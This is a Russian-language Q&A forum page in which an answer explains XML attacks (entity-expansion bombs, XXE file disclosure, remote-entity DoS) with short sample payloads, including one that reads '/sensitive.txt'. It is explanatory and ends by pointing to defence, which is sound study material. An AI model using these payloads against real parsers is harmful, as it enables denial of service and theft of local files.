XML-уязвимости - PullRequest
       4

XML-уязвимости

11 голосов
/ 15 декабря 2009

xml был основой сервис-ориентированного приложения (SOA), и в будущем он будет полезен. Поскольку xml прост, гибок, его легко сделать уязвимым, и злоумышленники могут использовать его для своих целей. Таким образом, некоторые из атак: атака принудительного анализа, атака xml на внешнюю сущность (XEE), атака xml dos (xdos), бомбы xml.
может ли кто-нибудь подробно рассказать об этих атаках.
как можно симулировать эти атаки практически в одной системе?

1 Ответ

19 голосов
/ 15 декабря 2009

Сначала мы должны отличить эффект атаки от функции , которая используется.

Особенности XML, которые можно использовать:

  • Сущности XML
  • Собственное расширение синтаксического анализатора и валидатора
  • Циклические / рекурсивные ссылки
  • Удаленный доступ

Эффекты могут быть либо

  • DOS
  • Раскрытие информации

Я не думаю, что есть точное определение "бомбы", но это относится к атаке, которая является особенно "компактной" и которая "расширяется". «Атака принудительного синтаксического анализа» использует природу модели XML для подавления синтаксического анализатора.

Приведенные ниже примеры взяты из Атаки и защиты в виде отказа в обслуживании XML . Также, если вы понимаете по-французски, прочитайте отличный журнал " La security des web services ".

Пример 1

Бомба, использующая объекты, которые приводят к DOS, потому что она исчерпывает память

<?xml version="1.0"?>
<!DOCTYPE kaboom [
  <!ENTITY a "aaaaaaaaaaaaaaaaaa...">
]>
<kaboom>&a;&a;&a;&a;&a;&a;&a;&a;&a;...</kaboom>

Если у вас 50'000 "аааа ... ааа" и 50'0000 &a:&a;...&a;, полезная нагрузка 200 КБ увеличивается до 2 ГБ в памяти

Пример 2

Объект может быть использован для доступа к другому файлу неавторизованным способом. Это приводит к раскрытию информации.

<?xml version="1.0"?>
<!DOCTYPE letter [
     <!ENTITY file SYSTEM "/sensitive.txt" >
]>
<tag> &file; </tag>

Пример 3

Используя возможность определенного парсера для доступа к удаленным ресурсам (см. http://www.ibm.com/developerworks/xml/library/x-tipgentity.html),, теперь давайте разберемся, что произойдет, если файл bigfile.xml равен 2 ГБ. Это, вероятно, приведет к DOS.

<?xml version="1.0"?>
<!DOCTYPE letter [
     <!ENTITY file  SYSTEM "http://www.mysite.com/bigfile.xml" >
]>
<tag> &file; </tag>

Пример 4

Эта рекурсия приведет к исчерпанию памяти и, возможно, к DOS.

<!ENTITY companyname "Contoso Inc.">
<!ENTITY divisionname "&companyname; Web Products Division">

Если это школьная работа, то вам также следует подумать о том, как вы можете защитить от такой атаки.

Добро пожаловать на сайт PullRequest, где вы можете задавать вопросы и получать ответы от других членов сообщества.
...